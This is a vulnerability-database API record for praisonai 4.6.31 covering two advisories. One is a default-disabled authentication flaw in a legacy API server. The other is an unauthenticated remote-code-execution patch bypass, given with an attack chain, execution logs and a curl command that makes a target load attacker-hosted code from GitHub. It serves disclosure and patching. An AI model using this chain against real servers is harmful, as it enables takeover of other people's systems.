Lookup for vulnerable packages by Package URL.

GET /api/packages/509647?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/509647?format=api",
    "purl": "pkg:pypi/praisonai@4.6.31",
    "type": "pypi",
    "namespace": "",
    "name": "praisonai",
    "version": "4.6.31",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "4.6.34",
    "latest_non_vulnerable_version": "4.6.40",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/92835?format=api",
            "vulnerability_id": "VCID-9ge8-v7qc-nuad",
            "summary": "PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution\n### Summary\nPraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access `/agents` and trigger the configured `agents.yaml` workflow through `/chat` without providing a token.\n\n### Details\nThe vulnerable server is the shipped `src/praisonai/api_server.py` entrypoint.\n\n- `AUTH_ENABLED = False` and `AUTH_TOKEN = None` are hard-coded at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15).\n- `check_auth()` returns `True` whenever authentication is disabled, so both protected routes fail open by design at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18).\n- `POST /chat` only checks that the request JSON contains a `message` key and then runs `PraisonAI(agent_file=\"agents.yaml\").run()` at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31).\n- `GET /agents` is guarded by the same no-op authentication check and returns agent metadata at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:55)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66):55).\n- When launched directly, the same script binds to `0.0.0.0:8080` at [src/praisonai/api_server.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66).\n\nThe deploy subsystem keeps the same insecure authentication default:\n\n- `APIConfig` defaults `auth_enabled` to `False` in [[src/praisonai/praisonai/deploy/models.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).\n- The generated sample API deployment YAML recommends `host: 0.0.0.0` together with `auth_enabled: false` in [[src/praisonai/praisonai/deploy/schema.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).\n\nFor scope clarity: the newer `serve agents` command is safer by default, because it binds to `127.0.0.1` and supports `--api-key` in [[src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.\n\nVersion scope:\n\n- `v2.5.6` already ships the same `src/praisonai/api_server.py` implementation.\n- The current PyPI release on May 1, 2026 is `4.6.33`, and it still ships the same unauthenticated server logic.\n\n### PoC\nThe following route-level reproduction was verified locally and proves that the shipped `api_server.py` exposes `/agents` and `/chat` without authentication.\n\n1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:\n\n```bash\npython3 -m venv /tmp/praisonai-ghsa-venv\n/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors\n```\n\n2. Execute the shipped `src/praisonai/api_server.py` under a minimal stub for `praisonai.PraisonAI` so only the server auth logic is exercised:\n\n```bash\n/tmp/praisonai-ghsa-venv/bin/python - <<'PY'\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nstub = types.ModuleType(\"praisonai\")\n\nclass DummyPraisonAI:\n    def __init__(self, agent_file=\"agents.yaml\"):\n        self.agent_file = agent_file\n    def run(self):\n        return {\"ran\": True, \"agent_file\": self.agent_file}\n\nstub.PraisonAI = DummyPraisonAI\nsys.modules[\"praisonai\"] = stub\n\npath = pathlib.Path(\"src/praisonai/api_server.py\").resolve()\nspec = importlib.util.spec_from_file_location(\"api_server_local\", path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\n\nclient = mod.app.test_client()\nprint(client.get(\"/agents\").status_code, client.get(\"/agents\").get_data(as_text=True))\nprint(client.post(\"/chat\", json={\"message\": \"hello\"}).status_code, client.post(\"/chat\", json={\"message\": \"hello\"}).get_data(as_text=True))\nPY\n```\n\n3. Observed result:\n\n```text\n200 {\"agent_file\":\"agents.yaml\",\"agents\":[\"default\"]}\n200 {\"response\":{\"agent_file\":\"agents.yaml\",\"ran\":true},\"status\":\"success\"}\n```\n\nBoth endpoints succeed without any `Authorization` header.\n\n### Impact\nAny reachable caller can invoke the legacy API server's protected functionality without a token.\n\nAt minimum, this allows:\n\n- unauthenticated enumeration of the configured agent file through `/agents`\n- unauthenticated triggering of the locally configured `agents.yaml` workflow through `/chat`\n- repeated consumption of model/API quota and any other side effects performed by that workflow\n- exposure of whatever result `PraisonAI.run()` returns to the unauthenticated caller\n\nThis is not the same as arbitrary prompt injection by itself, because the current `/chat` handler ignores the submitted `message` value and simply runs the configured workflow. The impact therefore depends on what the operator's `agents.yaml` is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-44338",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00029",
                            "scoring_system": "epss",
                            "scoring_elements": "0.08731",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.00029",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0868",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00029",
                            "scoring_system": "epss",
                            "scoring_elements": "0.08726",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00029",
                            "scoring_system": "epss",
                            "scoring_elements": "0.08746",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00031",
                            "scoring_system": "epss",
                            "scoring_elements": "0.09527",
                            "published_at": "2026-06-09T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-44338"
                },
                {
                    "reference_url": "https://github.com/MervinPraison/PraisonAI",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/MervinPraison/PraisonAI"
                },
                {
                    "reference_url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-08T14:14:21Z/"
                        }
                    ],
                    "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44338",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44338"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/115958?format=api",
                    "purl": "pkg:pypi/praisonai@4.6.34",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/praisonai@4.6.34"
                }
            ],
            "aliases": [
                "CVE-2026-44338",
                "GHSA-6rmh-7xcm-cpxj"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-9ge8-v7qc-nuad"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/93346?format=api",
            "vulnerability_id": "VCID-wsxk-z8my-rkep",
            "summary": "PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)\n## TL;DR\n\nCVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.\n\n## Patch coverage gap\n\nCVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:\n\n| File | Line | Gate |\n|---|---|---|\n| `praisonai/tool_resolver.py` | 77 | `if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":` |\n| `praisonai/api/call.py` | 80 | same |\n\nBut the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:\n\n```python\n# tool_override.py - create_tool_registry_with_overrides()\n332    cwd_tools_py = Path.cwd() / \"tools.py\"\n333    if cwd_tools_py.exists():\n334        try:\n335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module\n336            registry.update(tools)\n337        except Exception:\n338            pass\n339\n341    # 4. Template-local tools.py\n342    if template_dir:\n343        tools_py = Path(template_dir) / \"tools.py\"\n344        if tools_py.exists():\n345            try:\n346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module\n347                registry.update(tools)\n348            except Exception:\n349                pass\n```\n\n`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.\n\n## Attack chain\n\n```\nHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"<abs path>\" | \"github:<owner>/<repo>/<recipe>\"}\n        │\n        ▼\nrecipe/serve.py:483   run_recipe(request)              ← auth=none default\n        │\n        ▼\nrecipe/core.py:215    recipe.run(name, ...)\n        │\n        ▼\nrecipe/core.py:686    _load_recipe(name)\n                      └─ \"..\" check only; absolute paths and URIs allowed\n        │\n        ▼\ntemplates/loader.py:94    TemplateLoader.load(uri)\n        │\n        ▼\ntemplates/security.py:130 is_source_allowed(\"github:*\")\n                          └─ allow_any_github=True default → returns True\n        │\n        ▼\ntemplates/registry.py     fetch repo from raw.githubusercontent.com → cache dir\n        │\n        ▼\ntemplates/security.py:215 validate_template_directory(cached.path)\n                          └─ .py is in allowed_extensions → tools.py kept\n        │\n        ▼\nrecipe/core.py:887        _execute_recipe(recipe_config, ...)\n        │\n        ▼\nrecipe/core.py:943        create_tool_registry_with_overrides(\n                              include_defaults=True,\n                              template_dir=recipe_config.path)\n        │\n        ▼\ntemplates/tool_override.py:341-349   load_from_file(template_dir/tools.py)\n        │\n        ▼\ntemplates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE\n```\n\nThe tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.\n\n## Confirmed execution (2026-04-25, praisonai 4.6.31)\n\n```\nSERVER stdout (PID 43784):\n  Uvicorn running on http://127.0.0.1:8765\n  127.0.0.1 - POST /v1/recipes/run HTTP/1.1\n  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt\n  127.0.0.1 - \"POST /v1/recipes/run\" 500 Internal Server Error\n\nMarker file:\n  pid: 43784            ← matches server PID\n  argv: ['server.py']   ← server process, not exploit\n```\n\nThe 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.\n\n## Reproduction (local-path variant)\n\nFiles under `pocs/praisonai-cve-2026-40287-bypass/`:\n\n- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata\n- [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir)\n- [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)\n- [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`\n\n```bash\npip install 'praisonai[serve]==4.6.31'\n\n# Terminal 1\npython server.py\n\n# Terminal 2\npython exploit.py\n```\n\nExpected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.\n\n## Reproduction (remote GitHub variant)\n\n```bash\n# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)\n\ncurl -X POST http://target:8765/v1/recipes/run \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"recipe\":\"github:<you>/poc-recipe/poc-recipe\"}'\n```\n\nNo filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-44334",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00861",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "8e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00857",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "8e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00859",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "8e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0086",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "9e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.01004",
                            "published_at": "2026-06-09T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-44334"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-g985-wjh9-qxxc",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-g985-wjh9-qxxc"
                },
                {
                    "reference_url": "https://github.com/MervinPraison/PraisonAI",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/MervinPraison/PraisonAI"
                },
                {
                    "reference_url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-05-08T23:20:04Z/"
                        }
                    ],
                    "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44334",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44334"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-xcmw-grxf-wjhj",
                    "reference_id": "GHSA-xcmw-grxf-wjhj",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-xcmw-grxf-wjhj"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/116574?format=api",
                    "purl": "pkg:pypi/praisonai@4.6.32",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-9ge8-v7qc-nuad"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/praisonai@4.6.32"
                }
            ],
            "aliases": [
                "CVE-2026-44334",
                "GHSA-xcmw-grxf-wjhj"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-wsxk-z8my-rkep"
        }
    ],
    "fixing_vulnerabilities": [],
    "risk_score": "4.0",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/praisonai@4.6.31"
}